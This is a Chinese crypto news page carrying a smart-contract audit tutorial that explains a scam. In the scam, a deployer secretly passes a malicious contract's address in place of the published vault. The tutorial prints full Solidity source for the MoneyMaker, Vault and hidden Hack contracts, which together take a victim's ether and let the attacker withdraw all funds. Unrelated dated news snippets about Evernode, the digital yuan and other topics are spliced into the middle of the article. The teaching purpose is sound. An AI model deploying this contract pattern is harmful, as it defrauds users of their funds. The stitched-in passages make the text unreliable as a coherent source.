比特幣交易所 比特幣交易所
Ctrl+D 比特幣交易所
ads
首頁 > KuCoin > Info

智能合約安全審計入門篇 —— 移花接木_NBS

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用 tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個 A 合約并告訴受害者我們會在部署 A 合約的構造函數中傳入 B 合約的地址并將 B 合約開源,其實我們會在部署 A 合約時傳入 C 合約的地址,如果受害者完全信任我們沒有檢查部署 A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了 C 合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約 A 傳入合約 B 地址,這樣調用路徑為正常路徑。

實際的調用路徑:

部署合約 A 傳入合約 C 地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker {    Vault vault;    constructor(address _vault) {        vault = Vault(payable(_vault));    }    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");        uint256 amount = msg.value * 2;        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");        vault.transfer(recipient, amount);    }}contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;    constructor(address _evil) {        evil = _evil;    }    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}騙局分析

XRPL生態系統智能合約Evernode:計劃在8月中旬開始審計Hooks V3測試網:7月28日消息,XRPL生態系統Layer 2智能合約Evernode發布更新稱,其將通過Hooks將“Layer 2”智能合約引入XRP Ledger生態系統。Evernode表示,暫時計劃在8月中旬開始對Hooks V3測試網的審計。像其他XRPL資助項目一樣,它仍在等待Ripple的流程和資金確認。

此外,Evernode還分享了Nomad合約測試的細節,包括在其控制下的節點上的內容不會在betanet上持續存在,團隊希望在下周解決這個問題。[2023/7/28 16:05:02]

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的 A, B, C 三個角色來區分三個合約分別代表什么角色:

MoneyMaker 合約代表 A 合約;

Vault 合約代表 B 合約;

Hack 合約代表 C 合約。

所以用戶以為的調用路徑為:

MoneyMaker -> Vault。

而實際的調用路徑為:

MoneyMaker -> Hack。

下面我們來看看攻擊者如何完成騙局的:

1. Evil 部署 Vault(B) 合約并在合約中留存 100 ETH 資金,在鏈上將 Vault(B) 合約開源;

2. Evil 部署 Hack(C) 惡意合約;

穆長春:數字人民幣智能合約已在政府補貼、零售營銷等領域成功應用:9月2日消息,中國人民銀行數字貨幣研究所所長穆長春在2022年中國國際服務貿易交易會金融服務專題主論壇、2022中國國際金融年度論壇上表示,目前,數字人民幣智能合約已經在政府補貼、零售營銷、預付資金管理等領域成功應用。隨著底層平臺和相關制度安排的逐步完善,將在更大范圍內加速落地。[2022/9/2 13:05:19]

3. Evil 放出消息說他將會部署一個開源的賺錢 MoneyMaker(A) 合約,部署時會將 Vault(B) 合約地址傳入且會調用 Vault.setMacker() 將 maker 角色設置為 MoneyMaker 合約地址,任何人調用 MoneyMaker.makeMoney() 向合約中打入不少于一個以太都會得到雙倍以太的回報;

4. Bob 收到消息,了解到 MoneyMaker 合約的存在,他看了 MoneyMaker(A) 和 Vault(B) 合約的代碼并檢查了 Vault(B) 合約中的余額發現邏輯確實如 Evil 說的那樣,他在沒有檢查 MoneyMaker(A) 部署交易的情況下就相信了 Evil;

5. Bob 調用 MoneyMaker.makeMoney() 向合約中打入自己全部身家 20 ETH,在他滿懷期待等著收到 Vault(B) 打來的 40 ETH 時等來的卻是一句 "Haha, your ether is mine!"。

咋回事呢?其實這個騙局非常簡單但是很常見。Evil 在部署 MoneyMaker 合約時傳入的并不是 Vault 合約的地址,而是傳入了 Hack 合約的地址。所以當 Bob 調用 MoneyMaker.makeMoney() 時并不會像他想像中的那樣 MoneyMaker.makeMoney() 去調用 Vault.transfer() 回打給他雙倍的以太,而是調用了 Hack.transfer() 拋出了一個事件:"Haha, your ether is mine!"。最后 Evil 調用 Vault.withrow() 將 Vault 合約中的 100 ETH 轉出,并通過 Hack.withrow() 將 Bob 轉入的 20 ETH 轉出。

動態 | 智能合約平臺RSK母公司收購拉丁美洲社交網站Taringa:據Bitcoinmagazine消息, 和比特幣雙向錨定的智能合約平臺Rootstock(RSK)網絡的母公司IOV Labs,近日收購了拉丁美洲社交網站Taringa,交易金額未公開。Taringa是一個擁有3000萬用戶的強大網絡。此次收購有望為IOVLabs提供寶貴的數據和信息,這些數據和信息是IOVLabs大規模測試和去中心化基礎設施建設所必需的。[2019/9/28]

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

慢霧科技

個人專欄

閱讀更多

金色薦讀

金色財經 善歐巴

迪新財訊

Chainlink預言機

區塊律動BlockBeats

白話區塊鏈

金色早8點

Odaily星球日報

MarsBit

Arcane Labs

動態 | 以太坊智能合約數量已超過20萬:根據Etherscan的最新數據顯示,以太坊區塊鏈網絡上發布的智能合約總量已經超過了20萬份,以太坊智能合約正在主導DeFi生態系統,目前鎖定在以太坊DeFi生態系統中的價值規模已經超過5億美元,如Maker、Compound、Dharma和Uniswap,均提供基于以太坊的P2P借貸解決方案。迄今為止,以太坊網絡上已經推出了超過2500個dApp.[2019/8/7]

分析 | 昨日新增226個代幣型智能合約:第三方大數據評級機構RatingToken最新數據顯示,2018年8月24日全球共新增1277個合約地址,其中226個為代幣型智能合約。 在RatingToken同時發布的“新增代幣型智能合約風險榜”中,MindWalk Token Pre-sale(MINDW)、Green World(GW)和FoMo3D Long Official(F3D)風險最高排名前三,其中MindWalk Token Pre-sale(MINDW)存在31個安全風險,檢測得分為3.1。此外,其他登上該風險榜TOP10的還包括Giegle(GIEGLE)、F3DGo(F3DGo)、Ionixx DigiRights(INX DIGI)、Orderbook Global Token(OBK)、MOBU token(MOBU)、Trans coin(TC)和Luckydice Official(LK3D)。如需查看更多智能合約檢測結果,請查看原文鏈接。[2018/8/25]

Tags:NBSBSPQUOMAKENBS幣BSP價格QUO價格maker幣怎么挖

KuCoin
為什么說LSD賽道在下一輪牛市必然爆發?并且最大的機會是為DeFi開辟固收市場_以太坊

作者:北辰 兩三個月之前還非常火爆的LSD賽道現在很少有人提及了,行業的注意力都跑到了BRC-20,但我們絕不能說LSD賽道就此涼了.

1900/1/1 0:00:00
三分鐘讀懂Pudgy Penguins兩款新產品如何O2O玩轉NFT_WOR

金色財經0xnaitive2023年5月19日,藍籌NFT Pudgy Penguins團隊宣布發布線下(Offline)實體玩具Pudgy Toys和線上(Online)數字體驗(digita.

1900/1/1 0:00:00
Meme幣和BRC-20外 近期還有這四件事值得關注_BSP

作者:@EasyEatsBodega,編譯:Odaily星球日報 little bear 在一些硬核開發者的眼中,近期的Web3世界可以說是乏善可陳.

1900/1/1 0:00:00
破發、贖回延遲、團隊解鎖 Sui生態項目首發出師不利_SUI

Sui生態中的IDO項目相繼跌破發行價,新公鏈在生態發展上面臨阻力。公鏈一直引領著區塊鏈的敘事,在Facebook的Libra項目被叫停之后,同樣基于Move語言開發的兩個新公鏈,Aptos和S.

1900/1/1 0:00:00
美國集體訴訟文件披露:Jump Trading如何操縱UST獲利近13億美元_TFL

來源:美國法院文件節選;編譯:金色財經xiaozou原告Taewoo Kim代表其他處境相似的所有人,對被告Jump Trading.

1900/1/1 0:00:00
幣安入局ORC-20 BRC-20或迎來終局_ORC

作者:比推Asher ZhangBinance Academy發推介紹ORC-20,市場認為幣安有意布局ORC-20,那目前ORC-20到底表現如何?比特幣協議敘事此起彼伏.

1900/1/1 0:00:00
ads